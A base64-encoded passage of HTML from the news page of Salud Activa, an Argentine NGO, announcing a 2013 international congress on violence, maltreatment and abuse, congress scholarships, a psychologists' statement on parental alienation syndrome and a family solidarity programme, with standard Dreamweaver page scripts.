CAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgIC